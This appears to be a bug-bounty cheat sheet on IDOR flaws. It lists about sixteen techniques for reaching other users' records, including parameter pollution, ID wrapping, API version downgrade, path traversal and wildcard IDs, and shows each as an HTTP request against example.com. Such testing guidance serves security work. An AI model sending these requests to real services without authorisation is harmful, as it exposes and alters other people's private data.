Insecure Direct Object Reference (IDOR)

Introduction

IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.

Where to find

• Usually it can be found in APIs.

• Check the HTTP request that contain unique ID, for example user_id or id

How to exploit

1. Add parameters onto the endpoints for example, if there was

GET /api/v1/getuser HTTP/1.1
Host: example.com
...

Try this to bypass

GET /api/v1/getuser?id=1234 HTTP/1.1
Host: example.com
...

1. HTTP Parameter pollution

POST /api/get_profile HTTP/1.1
Host: example.com
...

user_id=hacker_id&user_id=victim_id

1. Add .json to the endpoint

GET /v2/GetData/1234 HTTP/1.1
Host: example.com
...

Try this to bypass

GET /v2/GetData/1234.json HTTP/1.1
Host: example.com
...

1. Test on outdated API Versions

POST /v2/GetData HTTP/1.1
Host: example.com
...

id=123

Try this to bypass

POST /v1/GetData HTTP/1.1
Host: example.com
...

id=123

1. Wrap the ID with an array.

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":111}

Try this to bypass

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"id":[111]}

1. Wrap the ID with a JSON object

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":111}

Try this to bypass

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":{"user_id":111}}

1. JSON Parameter Pollution

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":"hacker_id","user_id":"victim_id"}

1. Try decode the ID, if the ID encoded using md5,base64,etc

GET /GetUser/dmljdGltQG1haWwuY29t HTTP/1.1
Host: example.com
...

dmljdGltQG1haWwuY29t => [e-mail]

1. If the website using GraphQL, try to find IDOR using GraphQL

GET /graphql HTTP/1.1
Host: example.com
...

GET /graphql.php?query= HTTP/1.1
Host: example.com
...

1. MFLAC (Missing Function Level Access Control)

GET /admin/profile HTTP/1.1
Host: example.com
...

Try this to bypass

GET /ADMIN/profile HTTP/1.1
Host: example.com
...

1. Try to swap uuid with number

GET /file?id=90ri2-xozifke-29ikedaw0d HTTP/1.1
Host: example.com
...

Try this to bypass

GET /file?id=302
Host: example.com
...

1. Change HTTP Method

GET /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...

Try this to bypass

POST /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...

1. Path traversal

GET /api/v1/users/profile/victim_id HTTP/1.1
Host: example.com
...

Try this to bypass

GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1
Host: example.com
...

1. Change request Content-Type

GET /api/v1/users/1 HTTP/1.1
Host: example.com
Content-type: application/xml

Try this to bypass

GET /api/v1/users/2 HTTP/1.1
Host: example.com
Content-type: application/json

1. Send wildcard instead of ID

GET /api/users/111 HTTP/1.1
Host: example.com

Try this to bypass

GET /api/users/* HTTP/1.1
Host: example.com

GET /api/users/% HTTP/1.1
Host: example.com

GET /api/users/_ HTTP/1.1
Host: example.com

GET /api/users/. HTTP/1.1
Host: example.com

1. Try google dorking to find new endpoint

References

• @swaysThinking and other medium writeup